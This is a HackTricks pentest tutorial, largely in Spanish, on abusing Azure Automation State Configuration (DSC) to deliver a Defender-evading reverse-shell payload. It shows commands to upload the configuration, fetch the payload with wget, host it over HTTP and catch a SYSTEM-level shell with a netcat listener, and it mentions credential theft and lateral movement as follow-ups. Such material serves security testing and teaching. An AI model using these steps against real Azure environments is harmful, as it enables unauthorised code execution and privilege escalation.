Az - State Configuration RCE

Support HackTricks

Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Summary of Remote Server (C2) Infrastructure Preparation and Steps

Overview

El proceso implica configurar una infraestructura de servidor remoto para alojar una carga útil modificada de Nishang Invoke-PowerShellTcp.ps1, llamada RevPS.ps1, diseñada para eludir Windows Defender. La carga útil se sirve desde una máquina Kali Linux con IP 40.84.7.74 utilizando un servidor HTTP simple de Python. La operación se ejecuta a través de varios pasos:

Step 1 — Create Files

  • Files Required: Se necesitan dos scripts de PowerShell:

  1. reverse_shell_config.ps1: Un archivo de Configuración de Estado Deseado (DSC) que obtiene y ejecuta la carga útil. Se puede obtener de GitHub.

  2. push_reverse_shell_config.ps1: Un script para publicar la configuración en la VM, disponible en GitHub.

  • Customization: Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos los nombres de recursos, rutas de archivos e identificadores de servidor/carga útil.

Step 2 — Zip Configuration File

  • El reverse_shell_config.ps1 se comprime en un archivo .zip, preparándolo para la transferencia a la Cuenta de Almacenamiento de Azure.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Paso 3 — Establecer el contexto de almacenamiento y cargar

  • El archivo de configuración comprimido se carga en un contenedor de almacenamiento de Azure predefinido, azure-pentest, utilizando el cmdlet Set-AzStorageBlobContent de Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Paso 4 — Preparar la Caja Kali

  • El servidor Kali descarga la carga útil RevPS.ps1 de un repositorio de GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso.

Step 5 — Publish Configuration File

  • El archivo de configuración se ejecuta, lo que resulta en que el script de shell inverso se despliega en la ubicación especificada en la VM de Windows.

Step 6 — Host Payload and Setup Listener

  • Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un listener de Netcat para capturar conexiones entrantes.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • La tarea programada ejecuta la carga útil, logrando privilegios a nivel de SYSTEM.

Conclusión

La ejecución exitosa de este proceso abre numerosas posibilidades para acciones adicionales, como la extracción de credenciales o la expansión del ataque a múltiples VMs. La guía fomenta el aprendizaje continuo y la creatividad en el ámbito de Azure Automation DSC.

Support HackTricks

Last updated